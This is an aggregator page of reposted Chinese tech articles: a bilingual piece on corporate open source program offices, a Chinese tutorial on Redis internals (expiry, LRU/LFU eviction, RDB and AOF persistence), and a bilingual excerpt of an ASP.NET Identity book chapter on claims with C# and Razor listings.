工作时创办了一个开源计划办公室。他指出了在内部拥有一个 OSPO将如何使公司受益。 “For us the biggest job was to educate our employees who weren’t familiar with open source to get involved and be good community members,” he said. “We also provided guidance on how to make sure our IP didn’t enter projects without proper understanding and we made sure we didn’t incorporate open source that conflicted with our enterprise software licensing.” “对于我们来说,最大的工作是让不熟悉开源的员工学会并参与其中,成为优秀的社区成员”,他说,“我们还就如何确保我们的IP不会在没有正确理解的情况下进入项目的情况提供了指导,并确保我们没有与我们企业软件许可相冲突的开源项目合作。” The OSPO also helped Citrix identify strategic opportunities for the company to participate in open source projects and trade organizations like The Linux Foundation, he said. 他说,OSPO还帮助Citrix确定了公司参与开源项目和Linux基金会等贸易组织的战略机会。 Today, he’s the CEO and co-founder of TriggerMesh, a cloud native, open source integration platform. 如今,他是云原生开源集成平台 TriggerMesh 的首席执行官兼联合创始人。 There are some significant economic benefits to participating in the open source ecosystem, he said. 他说,参与开源系统对公司来说有着重大的经济效益。 “We participate in Knative to share the development of our underlying platform but we develop value-added services as part of our business,” he said. “By sharing the R and D for the platform, it gives us more resources to develop our own differentiated technology.” “我们参与Knative是为了分享我们基础底层平台的开发,但作为业务的一部分,我们也拥有相关的增值服务。”他说,“通过共享该平台的研发,这为我们提供了更多的资源来改进我们自己的差异化技术。” Part4How to Get Started in Open Source Sixty-three percent of companies in the September survey from The New Stack, Linux Foundation Research and the TODO Group said that having an OSPO was very or extremely critical to the success of their engineering or product teams, up from 54% in the previous annual study. 在 The New Stack、Linux Foundation Research 和 TODO Group 的 9 月份调查中,有 63% 的公司表示,拥有OSPO 对其工程或产品团队的成功至关重要,高于上一年度该项研究数据的 54%。 In particular, 77% said that their open source program had a positive impact on their software practices, such as improved code quality. 其中77% 的人表示他们的开源程序对他们的软件实践产生了积极影响,例如提高了代码质量。 But companies can’t always contribute to every single open source project that they use. 但公司也不可能总是为他们使用的每一个开源项目而花费精力。 “First, thin the herd a little bit,” advised VMware’s Ambiel. “首先,节流一下”,VMware 的 Ambiel 建议道。 Companies should look at the projects that make the most sense for their use cases. This is an area where an OSPO can help set priorities and ensure technical and strategic alignment. 公司应该关注投入使用中最有意义的项目。而这也是OSPO可以帮助确定优先事项并确保技术与战略一致性的领域。 Then, developers should go and check out the projects themselves. Projects typically offer online documentation, often with contributor guides, governance documents, and lists of open issues. 之后,开发人员应该自己去了解一下。项目通常提供相关在线文档,一般包含贡献着指南、治理文档和未解决问题列表。 “For the projects that rise to the top of your strategic list, introduce yourself — say hello,” she said. “Go to the Slack channel or the distribution list and ask where they need help. Maybe they don’t need help and everything is good. Or maybe they can use a new person to review code.” “对于那些上升到你的战略清单顶端的项目,你可以介绍一下自己----打个招呼”,她说。“然后转到Slack频道或者分发列表,询问他们需要帮助的地方。也许他们不需要帮助,一切完好;又或者他们也有可能使用新人来审查核验代码。” An open source program office can not only help make a business case for contributing to the open source community, Ambiel said, but can help companies do it in a way that’s safe, secure and sound. Ambiel 说,开源项目办公室不仅可以帮助制定为开源社区做出贡献的商业案例,还可以帮助公司以安全、可靠和健全的方式来做这件事。 “If I work for a company and want to contribute to open source, I don’t want to accidentally disclose, divulge or undermine any patents,” she said. “An OSPO helps you make smart choices.” “如果我为一家公司工作,并想为开源做出贡献,我不想意外披露、泄露或破坏任何专利,”她说。“而OSPO可以帮助您做出明智的选择。” An OSPO can also help provide leadership and the guiding philosophy about supporting open source, she said. “It can provide guidance, mentorship, coaching and best practices.” 她说,OSPO还可以在开源方面提供领导力和指导理念的支持。“它可以提供引领、指导、辅导和最佳实践的作用。” Commitment to support open source has to start at the top, said Anaïs Urlichs, developer advocate at Aqua Security. Aqua Security的开发人员倡导者Anaïs Urlichs则认为,支持开源的承诺必须从高层开始。 “Too often,” she said, “companies do not value investment into open source, so employees are not encouraged to contribute to it.” 她说,“公司在多数时候往往不重视对开源的投资,所以员工自然而然不被鼓励对此作出贡献。” In those cases, employees with a passion for open source end up contributing during their free time, which is not sustainable. 在这些情况下,员工对于开源的热情也会在空闲时间里对开源的建设而消散殆尽,这对于开源的发展来说是不可持续的。 “If companies rely on open source projects, it is important to make open source contributions part of an engineer’s work schedule,” she said. “Some companies define a time percentage that employees can contribute to open source as part of their normal workday.” “如果公司对开源项目依赖度高,那么将开源贡献纳入工程师的日程安排是很重要的,”她说。“一些公司定义了员工可以为开源建设的时间百分比,将其作为他们正常工作日的一部分。” The New Stack is a wholly owned subsidiary of Insight Partners, an investor in the following companies mentioned in this article: Sysdig, Aqua Security. The New Stack 是 Insight Partners 的全资子公司,Insight Partners 是本文提到的以下公司的投资者:Sysdig、Aqua Security。 相关阅读 | Related Reading 《开源合规指南(企业篇)》正式发布,为推动我国开源合规建设提供参考 “目标->用户->指标”——企业开源运营之道|瞰道@谭中意 开源之夏邀请函——仅限高校学子开启 开源社简介 开源社成立于 2014 年,是由志愿贡献于开源事业的个人成员,依 “贡献、共识、共治” 原则所组成,始终维持厂商中立、公益、非营利的特点,是最早以 “开源治理、国际接轨、社区发展、开源项目” 为使命的开源社区联合体。开源社积极与支持开源的社区、企业以及政府相关单位紧密合作,以 “立足中国、贡献全球” 为愿景,旨在共创健康可持续发展的开源生态,推动中国开源社区成为全球开源体系的积极参与及贡献者。 2017 年,开源社转型为完全由个人成员组成,参照 ASF 等国际顶级开源基金会的治理模式运作。近八年来,链接了数万名开源人,集聚了上千名社区成员及志愿者、海内外数百位讲师,合作了近百家赞助、媒体、社区伙伴。 本篇文章为转载内容。原文链接:https://blog.csdn.net/kaiyuanshe/article/details/124976824。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-05-03 09:19:23
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...设备等按照一定的架构标准和规范,进行整合、协调和优化,形成一个统一、高效、稳定运行的信息系统解决方案的过程。在本文中,系统集成作为软件开发的重要组成部分,是部分开发者从事的工作内容之一。 高级程序员 , 在软件开发行业中,具备较深厚的专业技能、丰富的项目经验和较高技术水平的编程人员。他们不仅能够独立完成复杂模块的设计与编码工作,还能在项目中起到技术引领与指导作用,对项目的整体质量和进度有直接影响,通常其薪资待遇高于普通程序员。 技术总监(CTO) , Chief Technology Officer 的缩写,是企业中负责技术方向决策、技术团队管理、技术研发规划与实施的关键角色。技术总监需要具有深厚的技术背景、前瞻性的战略眼光以及出色的组织协调能力,确保企业的技术发展方向与业务需求保持一致,并通过技术创新推动企业发展。在本文中,技术总监的角色由于其综合能力和职责要求,在软件行业内占据重要地位,但人数相对较少。
2023-12-24 09:01:26
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...代理服务器已成为业界标准配置,它不仅能够解决跨域调用问题,还能通过对请求的负载均衡分配,提高系统的稳定性和响应速度。正如《高性能Nginx服务器详解》一书中所述,合理配置Nginx对于构建高性能、高可用的在线教育服务平台至关重要。 综上所述,不论是紧跟技术潮流,采用高效的检索技术和流媒体解决方案,还是从架构设计角度优化服务性能,都是现代在线教育平台保持竞争力的关键所在。未来,在线教育领域的技术创新将更加注重个性化、智能化和互动化,为用户提供更加优质、便捷的学习体验。
2023-12-16 12:41:01
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...术和JSON数据交换标准的新型报表打印系统,无疑为企业信息化建设开辟了新的可能,也为行业标准的制定和完善提供了有力支撑。随着更多企业和机构开始重视数据驱动决策的重要性,类似这样的高效、易用且具有前瞻性的报表工具将迎来更为广阔的应用前景。
2023-04-01 18:34:12
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...ux 系统里面有三个标准文件描述符。 0:标准输入(键盘); 1:标准输出(显示器); 2:标准错误输出(显示器)。 4.4.6 传统 I/O 数据拷贝 以读操作为例: 当应用程序执行 read 系统调用读取文件描述符(FD)的时候,如果这块数据已经存在于用户进程的页内存中,就直接从内存中读取数据。如果数据不存在,则先将数据从磁盘加载数据到内核缓冲区中,再从内核缓冲区拷贝到用户进程的页内存中。(两次拷贝,两次 user 和 kernel 的上下文切换)。 I/O 的阻塞到底阻塞在哪里? 4.4.7 Blocking I/O 当使用 read 或 write 对某个文件描述符进行过读写时,如果当前 FD 不可读,系统就不会对其他的操作做出响应。从设备复制数据到内核缓冲区是阻塞的,从内核缓冲区拷贝到用户空间,也是阻塞的,直到 copy complete,内核返回结果,用户进程才解除 block 的状态。 为了解决阻塞的问题,我们有几个思路。 1、在服务端创建多个线程或者使用线程池,但是在高并发的情况下需要的线程会很多,系统无法承受,而且创建和释放线程都需要消耗资源。 2、由请求方定期轮询,在数据准备完毕后再从内核缓存缓冲区复制数据到用户空间 (非阻塞式 I/O),这种方式会存在一定的延迟。 能不能用一个线程处理多个客户端请求? 4.4.8 I/O 多路复用(I/O Multiplexing) I/O 指的是网络 I/O。 多路指的是多个 TCP 连接(Socket 或 Channel)。 复用指的是复用一个或多个线程。它的基本原理就是不再由应用程序自己监视连接,而是由内核替应用程序监视文件描述符。 客户端在操作的时候,会产生具有不同事件类型的 socket。在服务端,I/O 多路复用程序(I/O Multiplexing Module)会把消息放入队列中,然后通过文件事件分派器(File event Dispatcher),转发到不同的事件处理器中。 多路复用有很多的实现,以 select 为例,当用户进程调用了多路复用器,进程会被阻塞。内核会监视多路复用器负责的所有 socket,当任何一个 socket 的数据准备好了,多路复用器就会返回。这时候用户进程再调用 read 操作,把数据从内核缓冲区拷贝到用户空间。 所以,I/O 多路复用的特点是通过一种机制一个进程能同时等待多个文件描述符,而这些文件描述符(套接字描述符)其中的任意一个进入读就绪(readable)状态,select() 函数就可以返回。 Redis 的多路复用, 提供了 select, epoll, evport, kqueue 几种选择,在编译的时 候来选择一种。 evport 是 Solaris 系统内核提供支持的; epoll 是 LINUX 系统内核提供支持的; kqueue 是 Mac 系统提供支持的; select 是 POSIX 提供的,一般的操作系统都有支撑(保底方案); 源码 ae_epoll.c、ae_select.c、ae_kqueue.c、ae_evport.c 5、内存回收 Reids 所有的数据都是存储在内存中的,在某些情况下需要对占用的内存空间进行回 收。内存回收主要分为两类,一类是 key 过期,一类是内存使用达到上限(max_memory) 触发内存淘汰。 5.1 过期策略 要实现 key 过期,我们有几种思路。 5.1.1 定时过期(主动淘汰) 每个设置过期时间的 key 都需要创建一个定时器,到过期时间就会立即清除。该策略可以立即清除过期的数据,对内存很友好;但是会占用大量的 CPU 资源去处理过期的 数据,从而影响缓存的响应时间和吞吐量。 5.1.2 惰性过期(被动淘汰) 只有当访问一个 key 时,才会判断该 key 是否已过期,过期则清除。该策略可以最大化地节省 CPU 资源,却对内存非常不友好。极端情况可能出现大量的过期 key 没有再次被访问,从而不会被清除,占用大量内存。 例如 String,在 getCommand 里面会调用 expireIfNeeded server.c expireIfNeeded(redisDb db, robj key) 第二种情况,每次写入 key 时,发现内存不够,调用 activeExpireCycle 释放一部分内存。 expire.c activeExpireCycle(int type) 5.1.3 定期过期 源码:server.h typedef struct redisDb { dict dict; / 所有的键值对 /dict expires; / 设置了过期时间的键值对 /dict blocking_keys; dict ready_keys; dict watched_keys; int id;long long avg_ttl;list defrag_later; } redisDb; 每隔一定的时间,会扫描一定数量的数据库的 expires 字典中一定数量的 key,并清除其中已过期的 key。该策略是前两者的一个折中方案。通过调整定时扫描的时间间隔和每次扫描的限定耗时,可以在不同情况下使得 CPU 和内存资源达到最优的平衡效果。 Redis 中同时使用了惰性过期和定期过期两种过期策略。 5.2 淘汰策略 Redis 的内存淘汰策略,是指当内存使用达到最大内存极限时,需要使用淘汰算法来决定清理掉哪些数据,以保证新数据的存入。 5.2.1 最大内存设置 redis.conf 参数配置: maxmemory <bytes> 如果不设置 maxmemory 或者设置为 0,64 位系统不限制内存,32 位系统最多使用 3GB 内存。 动态修改: redis> config set maxmemory 2GB 到达最大内存以后怎么办? 5.2.2 淘汰策略 https://redis.io/topics/lru-cache redis.conf maxmemory-policy noeviction 先从算法来看: LRU,Least Recently Used:最近最少使用。判断最近被使用的时间,目前最远的数据优先被淘汰。 LFU,Least Frequently Used,最不常用,4.0 版本新增。 random,随机删除。 如果没有符合前提条件的 key 被淘汰,那么 volatile-lru、volatile-random、 volatile-ttl 相当于 noeviction(不做内存回收)。 动态修改淘汰策略: redis> config set maxmemory-policy volatile-lru 建议使用 volatile-lru,在保证正常服务的情况下,优先删除最近最少使用的 key。 5.2.3 LRU 淘汰原理 问题:如果基于传统 LRU 算法实现 Redis LRU 会有什么问题? 需要额外的数据结构存储,消耗内存。 Redis LRU 对传统的 LRU 算法进行了改良,通过随机采样来调整算法的精度。如果淘汰策略是 LRU,则根据配置的采样值 maxmemory_samples(默认是 5 个), 随机从数据库中选择 m 个 key, 淘汰其中热度最低的 key 对应的缓存数据。所以采样参数m配置的数值越大, 就越能精确的查找到待淘汰的缓存数据,但是也消耗更多的CPU计算,执行效率降低。 问题:如何找出热度最低的数据? Redis 中所有对象结构都有一个 lru 字段, 且使用了 unsigned 的低 24 位,这个字段用来记录对象的热度。对象被创建时会记录 lru 值。在被访问的时候也会更新 lru 的值。 但是不是获取系统当前的时间戳,而是设置为全局变量 server.lruclock 的值。 源码:server.h typedef struct redisObject {unsigned type:4;unsigned encoding:4;unsigned lru:LRU_BITS;int refcount;void ptr; } robj; server.lruclock 的值怎么来的? Redis 中有个定时处理的函数 serverCron,默认每 100 毫秒调用函数 updateCachedTime 更新一次全局变量的 server.lruclock 的值,它记录的是当前 unix 时间戳。 源码:server.c void updateCachedTime(void) { time_t unixtime = time(NULL); atomicSet(server.unixtime,unixtime); server.mstime = mstime();struct tm tm; localtime_r(&server.unixtime,&tm);server.daylight_active = tm.tm_isdst; } 问题:为什么不获取精确的时间而是放在全局变量中?不会有延迟的问题吗? 这样函数 lookupKey 中更新数据的 lru 热度值时,就不用每次调用系统函数 time,可以提高执行效率。 OK,当对象里面已经有了 LRU 字段的值,就可以评估对象的热度了。 函数 estimateObjectIdleTime 评估指定对象的 lru 热度,思想就是对象的 lru 值和全局的 server.lruclock 的差值越大(越久没有得到更新),该对象热度越低。 源码 evict.c / Given an object returns the min number of milliseconds the object was never requested, using an approximated LRU algorithm. /unsigned long long estimateObjectIdleTime(robj o) {unsigned long long lruclock = LRU_CLOCK(); if (lruclock >= o->lru) {return (lruclock - o->lru) LRU_CLOCK_RESOLUTION; } else {return (lruclock + (LRU_CLOCK_MAX - o->lru)) LRU_CLOCK_RESOLUTION;} } server.lruclock 只有 24 位,按秒为单位来表示才能存储 194 天。当超过 24bit 能表 示的最大时间的时候,它会从头开始计算。 server.h define LRU_CLOCK_MAX ((1<<LRU_BITS)-1) / Max value of obj->lru / 在这种情况下,可能会出现对象的 lru 大于 server.lruclock 的情况,如果这种情况 出现那么就两个相加而不是相减来求最久的 key。 为什么不用常规的哈希表+双向链表的方式实现?需要额外的数据结构,消耗资源。而 Redis LRU 算法在 sample 为 10 的情况下,已经能接近传统 LRU 算法了。 问题:除了消耗资源之外,传统 LRU 还有什么问题? 如图,假设 A 在 10 秒内被访问了 5 次,而 B 在 10 秒内被访问了 3 次。因为 B 最后一次被访问的时间比 A 要晚,在同等的情况下,A 反而先被回收。 问题:要实现基于访问频率的淘汰机制,怎么做? 5.2.4 LFU server.h typedef struct redisObject {unsigned type:4;unsigned encoding:4;unsigned lru:LRU_BITS;int refcount;void ptr; } robj; 当这 24 bits 用作 LFU 时,其被分为两部分: 高 16 位用来记录访问时间(单位为分钟,ldt,last decrement time) 低 8 位用来记录访问频率,简称 counter(logc,logistic counter) counter 是用基于概率的对数计数器实现的,8 位可以表示百万次的访问频率。 对象被读写的时候,lfu 的值会被更新。 db.c——lookupKey void updateLFU(robj val) {unsigned long counter = LFUDecrAndReturn(val); counter = LFULogIncr(counter);val->lru = (LFUGetTimeInMinutes()<<8) | counter;} 增长的速率由,lfu-log-factor 越大,counter 增长的越慢 redis.conf 配置文件。 lfu-log-factor 10 如果计数器只会递增不会递减,也不能体现对象的热度。没有被访问的时候,计数器怎么递减呢? 减少的值由衰减因子 lfu-decay-time(分钟)来控制,如果值是 1 的话,N 分钟没有访问就要减少 N。 redis.conf 配置文件 lfu-decay-time 1 6、持久化机制 https://redis.io/topics/persistence Redis 速度快,很大一部分原因是因为它所有的数据都存储在内存中。如果断电或者宕机,都会导致内存中的数据丢失。为了实现重启后数据不丢失,Redis 提供了两种持久化的方案,一种是 RDB 快照(Redis DataBase),一种是 AOF(Append Only File)。 6.1 RDB RDB 是 Redis 默认的持久化方案。当满足一定条件的时候,会把当前内存中的数据写入磁盘,生成一个快照文件 dump.rdb。Redis 重启会通过加载 dump.rdb 文件恢复数据。 什么时候写入 rdb 文件? 6.1.1 RDB 触发 1、自动触发 a)配置规则触发。 redis.conf, SNAPSHOTTING,其中定义了触发把数据保存到磁盘的触发频率。 如果不需要 RDB 方案,注释 save 或者配置成空字符串""。 save 900 1 900 秒内至少有一个 key 被修改(包括添加) save 300 10 400 秒内至少有 10 个 key 被修改save 60 10000 60 秒内至少有 10000 个 key 被修改 注意上面的配置是不冲突的,只要满足任意一个都会触发。 RDB 文件位置和目录: 文件路径,dir ./ 文件名称dbfilename dump.rdb 是否是LZF压缩rdb文件 rdbcompression yes 开启数据校验 rdbchecksum yes 问题:为什么停止 Redis 服务的时候没有 save,重启数据还在? RDB 还有两种触发方式: b)shutdown 触发,保证服务器正常关闭。 c)flushall,RDB 文件是空的,没什么意义(删掉 dump.rdb 演示一下)。 2、手动触发 如果我们需要重启服务或者迁移数据,这个时候就需要手动触 RDB 快照保存。Redis 提供了两条命令: a)save save 在生成快照的时候会阻塞当前 Redis 服务器, Redis 不能处理其他命令。如果内存中的数据比较多,会造成 Redis 长时间的阻塞。生产环境不建议使用这个命令。 为了解决这个问题,Redis 提供了第二种方式。 执行 bgsave 时,Redis 会在后台异步进行快照操作,快照同时还可以响应客户端请求。 具体操作是 Redis 进程执行 fork 操作创建子进程(copy-on-write),RDB 持久化过程由子进程负责,完成后自动结束。它不会记录 fork 之后后续的命令。阻塞只发生在 fork 阶段,一般时间很短。 用 lastsave 命令可以查看最近一次成功生成快照的时间。 6.1.2 RDB 数据的恢复(演示) 1、shutdown 持久化添加键值 添加键值 redis> set k1 1 redis> set k2 2 redis> set k3 3 redis> set k4 4 redis> set k5 5 停服务器,触发 save redis> shutdown 备份 dump.rdb 文件 cp dump.rdb dump.rdb.bak 启动服务器 /usr/local/soft/redis-5.0.5/src/redis-server /usr/local/soft/redis-5.0.5/redis.conf 啥都没有: redis> keys 3、通过备份文件恢复数据停服务器 redis> shutdown 重命名备份文件 mv dump.rdb.bak dump.rdb 启动服务器 /usr/local/soft/redis-5.0.5/src/redis-server /usr/local/soft/redis-5.0.5/redis.conf 查看数据 redis> keys 6.1.3 RDB 文件的优势和劣势 一、优势 1.RDB 是一个非常紧凑(compact)的文件,它保存了 redis 在某个时间点上的数据集。这种文件非常适合用于进行备份和灾难恢复。 2.生成 RDB 文件的时候,redis 主进程会 fork()一个子进程来处理所有保存工作,主进程不需要进行任何磁盘 IO 操作。 3.RDB 在恢复大数据集时的速度比 AOF 的恢复速度要快。 二、劣势 1、RDB 方式数据没办法做到实时持久化/秒级持久化。因为 bgsave 每次运行都要执行 fork 操作创建子进程,频繁执行成本过高。 2、在一定间隔时间做一次备份,所以如果 redis 意外 down 掉的话,就会丢失最后一次快照之后的所有修改(数据有丢失)。 如果数据相对来说比较重要,希望将损失降到最小,则可以使用 AOF 方式进行持久化。 6.2 AOF Append Only File AOF:Redis 默认不开启。AOF 采用日志的形式来记录每个写操作,并追加到文件中。开启后,执行更改 Redis 数据的命令时,就会把命令写入到 AOF 文件中。 Redis 重启时会根据日志文件的内容把写指令从前到后执行一次以完成数据的恢复工作。 6.2.1 AOF 配置 配置文件 redis.conf 开关appendonly no 文件名appendfilename "appendonly.aof" AOF 文件的内容(vim 查看): 问题:数据都是实时持久化到磁盘吗? 由于操作系统的缓存机制,AOF 数据并没有真正地写入硬盘,而是进入了系统的硬盘缓存。什么时候把缓冲区的内容写入到 AOF 文件? 问题:文件越来越大,怎么办? 由于 AOF 持久化是 Redis 不断将写命令记录到 AOF 文件中,随着 Redis 不断的进行,AOF 的文件会越来越大,文件越大,占用服务器内存越大以及 AOF 恢复要求时间越长。 例如 set xxx 666,执行 1000 次,结果都是 xxx=666。 为了解决这个问题,Redis 新增了重写机制,当 AOF 文件的大小超过所设定的阈值时,Redis 就会启动 AOF 文件的内容压缩,只保留可以恢复数据的最小指令集。 可以使用命令 bgrewriteaof 来重写。 AOF 文件重写并不是对原文件进行重新整理,而是直接读取服务器现有的键值对,然后用一条命令去代替之前记录这个键值对的多条命令,生成一个新的文件后去替换原来的 AOF 文件。 重写触发机制 auto-aof-rewrite-percentage 100 auto-aof-rewrite-min-size 64mb 问题:重写过程中,AOF 文件被更改了怎么办? 另外有两个与 AOF 相关的参数: 6.2.2 AOF 数据恢复 重启 Redis 之后就会进行 AOF 文件的恢复。 6.2.3 AOF 优势与劣势 优点: 1、AOF 持久化的方法提供了多种的同步频率,即使使用默认的同步频率每秒同步一次,Redis 最多也就丢失 1 秒的数据而已。 缺点: 1、对于具有相同数据的的 Redis,AOF 文件通常会比 RDB 文件体积更大(RDB 存的是数据快照)。 2、虽然 AOF 提供了多种同步的频率,默认情况下,每秒同步一次的频率也具有较高的性能。在高并发的情况下,RDB 比 AOF 具好更好的性能保证。 6.3 两种方案比较 那么对于 AOF 和 RDB 两种持久化方式,我们应该如何选择呢? 如果可以忍受一小段时间内数据的丢失,毫无疑问使用 RDB 是最好的,定时生成 RDB 快照(snapshot)非常便于进行数据库备份, 并且 RDB 恢复数据集的速度也要比 AOF 恢复的速度要快。 否则就使用 AOF 重写。但是一般情况下建议不要单独使用某一种持久化机制,而是应该两种一起用,在这种情况下,当 redis 重启的时候会优先载入 AOF 文件来恢复原始的数据,因为在通常情况下 AOF 文件保存的数据集要比 RDB 文件保存的数据集要完整。 本篇文章为转载内容。原文链接:https://blog.csdn.net/zhoutaochun/article/details/120075092。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-03-18 12:25:04
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...的特性,但它集成到了标准的授权特性之中,例如Authorize注解属性。 Tip you don’t have to use claims in your applications, and as Chapter 14 showed, ASP.NET Identity is perfectly happy providing an application with the authentication and authorization services without any need to understand claims at all. 提示:你在应用程序中不一定要使用声明(Claims),正如第14章所展示的那样,ASP.NET Identity能够为应用程序提供充分的认证与授权服务,而根本不需要理解声明(Claims)。 15.3.1 Understanding Claims 15.3.1 理解声明(Claims) A claim is a piece of information about the user, along with some information about where the information came from. The easiest way to unpack claims is through some practical demonstrations, without which any discussion becomes too abstract to be truly useful. To get started, I added a Claims controller to the example project, the definition of which you can see in Listing 15-12. 一项声明(Claim)是关于用户的一个信息片段(请注意这个英文单词的单复数形式——译者注),并伴有该片段出自何处的某种信息。揭开声明(Claims)含义最容易的方式是做一些实际演示,任何讨论都会过于抽象根本没有真正的用处。为此,我在示例项目中添加了一个Claims控制器,其定义如清单15-12所示。 Listing 15-12. The Contents of the ClaimsController.cs File 清单15-12. ClaimsController.cs文件的内容 using System.Security.Claims;using System.Web;using System.Web.Mvc; namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} }} } Tip You may feel a little lost as I define the code for this example. Don’t worry about the details for the moment—just stick with it until you see the output from the action method and view that I define. More than anything else, that will help put claims into perspective. 提示:你或许会对我为此例定义的代码感到有点失望。此刻对此细节不必着急——只要稍事忍耐,当看到该动作方法和视图的输出便会明白。尤为重要的是,这有助于洞察声明(Claims)。 You can get the claims associated with a user in different ways. One approach is to use the Claims property defined by the user class, but in this example, I have used the HttpContext.User.Identity property to demonstrate the way that ASP.NET Identity is integrated with the rest of the ASP.NET platform. As I explained in Chapter 13, the HttpContext.User.Identity property returns an implementation of the IIdentity interface, which is a ClaimsIdentity object when working using ASP.NET Identity. The ClaimsIdentity class is defined in the System.Security.Claims namespace, and Table 15-5 shows the members it defines that are relevant to this chapter. 可以通过不同的方式获得与用户相关联的声明(Claims)。方法之一就是使用由用户类定义的Claims属性,但在这个例子中,我使用了HttpContext.User.Identity属性,目的是演示ASP.NET Identity与ASP.NET平台集成的方式(请注意这句话所表示的含义:用户类的Claims属性属于ASP.NET Identity,而HttpContext.User.Identity属性则属于ASP.NET平台。由此可见,ASP.NET Identity已经融合到了ASP.NET平台之中——译者注)。正如第13章所解释的那样,HttpContext.User.Identity属性返回IIdentity的接口实现,当使用ASP.NET Identity时,该实现是一个ClaimsIdentity对象。ClaimsIdentity类是在System.Security.Claims命名空间中定义的,表15-5显示了它所定义的与本章有关的成员。 Table 15-5. The Members Defined by the ClaimsIdentity Class 表15-5. ClaimsIdentity类所定义的成员 Name 名称 Description 描述 Claims Returns an enumeration of Claim objects representing the claims for the user. 返回表示用户声明(Claims)的Claim对象枚举 AddClaim(claim) Adds a claim to the user identity. 给用户添加一个声明(Claim) AddClaims(claims) Adds an enumeration of Claim objects to the user identity. 给用户添加Claim对象的枚举。 HasClaim(predicate) Returns true if the user identity contains a claim that matches the specified predicate. See the “Applying Claims” section for an example predicate. 如果用户含有与指定谓词匹配的声明(Claim)时,返回true。参见“运用声明(Claims)”中的示例谓词 RemoveClaim(claim) Removes a claim from the user identity. 删除用户的声明(Claim)。 Other members are available, but the ones in the table are those that are used most often in web applications, for reason that will become obvious as I demonstrate how claims fit into the wider ASP.NET platform. 还有一些可用的其它成员,但表中的这些是在Web应用程序中最常用的,随着我演示如何将声明(Claims)融入更宽泛的ASP.NET平台,它们为什么最常用就很显然了。 In Listing 15-12, I cast the IIdentity implementation to the ClaimsIdentity type and pass the enumeration of Claim objects returned by the ClaimsIdentity.Claims property to the View method. A Claim object represents a single piece of data about the user, and the Claim class defines the properties shown in Table 15-6. 在清单15-12中,我将IIdentity实现转换成了ClaimsIdentity类型,并且给View方法传递了ClaimsIdentity.Claims属性所返回的Claim对象的枚举。Claim对象所示表示的是关于用户的一个单一的数据片段,Claim类定义的属性如表15-6所示。 Table 15-6. The Properties Defined by the Claim Class 表15-6. Claim类定义的属性 Name 名称 Description 描述 Issuer Returns the name of the system that provided the claim 返回提供声明(Claim)的系统名称 Subject Returns the ClaimsIdentity object for the user who the claim refers to 返回声明(Claim)所指用户的ClaimsIdentity对象 Type Returns the type of information that the claim represents 返回声明(Claim)所表示的信息类型 Value Returns the piece of information that the claim represents 返回声明(Claim)所表示的信息片段 Listing 15-13 shows the contents of the Index.cshtml file that I created in the Views/Claims folder and that is rendered by the Index action of the Claims controller. The view adds a row to a table for each claim about the user. 清单15-13显示了我在Views/Claims文件夹中创建的Index.cshtml文件的内容,它由Claims控制器中的Index动作方法进行渲染。该视图为用户的每项声明(Claim)添加了一个表格行。 Listing 15-13. The Contents of the Index.cshtml File in the Views/Claims Folder 清单15-13. Views/Claims文件夹中Index.cshtml文件的内容 @using System.Security.Claims@using Users.Infrastructure@model IEnumerable<Claim>@{ ViewBag.Title = "Claims"; }<div class="panel panel-primary"><div class="panel-heading">Claims</div><table class="table table-striped"><tr><th>Subject</th><th>Issuer</th><th>Type</th><th>Value</th></tr>@foreach (Claim claim in Model.OrderBy(x => x.Type)) {<tr><td>@claim.Subject.Name</td><td>@claim.Issuer</td><td>@Html.ClaimType(claim.Type)</td><td>@claim.Value</td></tr>}</table></div> The value of the Claim.Type property is a URI for a Microsoft schema, which isn’t especially useful. The popular schemas are used as the values for fields in the System.Security.Claims.ClaimTypes class, so to make the output from the Index.cshtml view easier to read, I added an HTML helper to the IdentityHelpers.cs file, as shown in Listing 15-14. It is this helper that I use in the Index.cshtml file to format the value of the Claim.Type property. Claim.Type属性的值是一个微软模式(Microsoft Schema)的URI(统一资源标识符),这是特别有用的。System.Security.Claims.ClaimTypes类中字段的值使用的是流行模式(Popular Schema),因此为了使Index.cshtml视图的输出更易于阅读,我在IdentityHelpers.cs文件中添加了一个HTML辅助器,如清单15-14所示。Index.cshtml文件正是使用这个辅助器格式化了Claim.Type属性的值。 Listing 15-14. Adding a Helper to the IdentityHelpers.cs File 清单15-14. 在IdentityHelpers.cs文件中添加辅助器 using System.Web;using System.Web.Mvc;using Microsoft.AspNet.Identity.Owin;using System;using System.Linq;using System.Reflection;using System.Security.Claims;namespace Users.Infrastructure {public static class IdentityHelpers {public static MvcHtmlString GetUserName(this HtmlHelper html, string id) {AppUserManager mgr= HttpContext.Current.GetOwinContext().GetUserManager<AppUserManager>();return new MvcHtmlString(mgr.FindByIdAsync(id).Result.UserName);} public static MvcHtmlString ClaimType(this HtmlHelper html, string claimType) {FieldInfo[] fields = typeof(ClaimTypes).GetFields();foreach (FieldInfo field in fields) {if (field.GetValue(null).ToString() == claimType) {return new MvcHtmlString(field.Name);} }return new MvcHtmlString(string.Format("{0}",claimType.Split('/', '.').Last()));} }} Note The helper method isn’t at all efficient because it reflects on the fields of the ClaimType class for each claim that is displayed, but it is sufficient for my purposes in this chapter. You won’t often need to display the claim type in real applications. 注:该辅助器并非十分有效,因为它只是针对每个要显示的声明(Claim)映射出ClaimType类的字段,但对我要的目的已经足够了。在实际项目中不会经常需要显示声明(Claim)的类型。 To see why I have created a controller that uses claims without really explaining what they are, start the application, authenticate as the user Alice (with the password MySecret), and request the /Claims/Index URL. Figure 15-5 shows the content that is generated. 为了弄明白我为何要先创建一个使用声明(Claims)的控制器,而没有真正解释声明(Claims)是什么的原因,可以启动应用程序,以用户Alice进行认证(其口令是MySecret),并请求/Claims/Index URL。图15-5显示了生成的内容。 Figure 15-5. The output from the Index action of the Claims controller 图15-5. 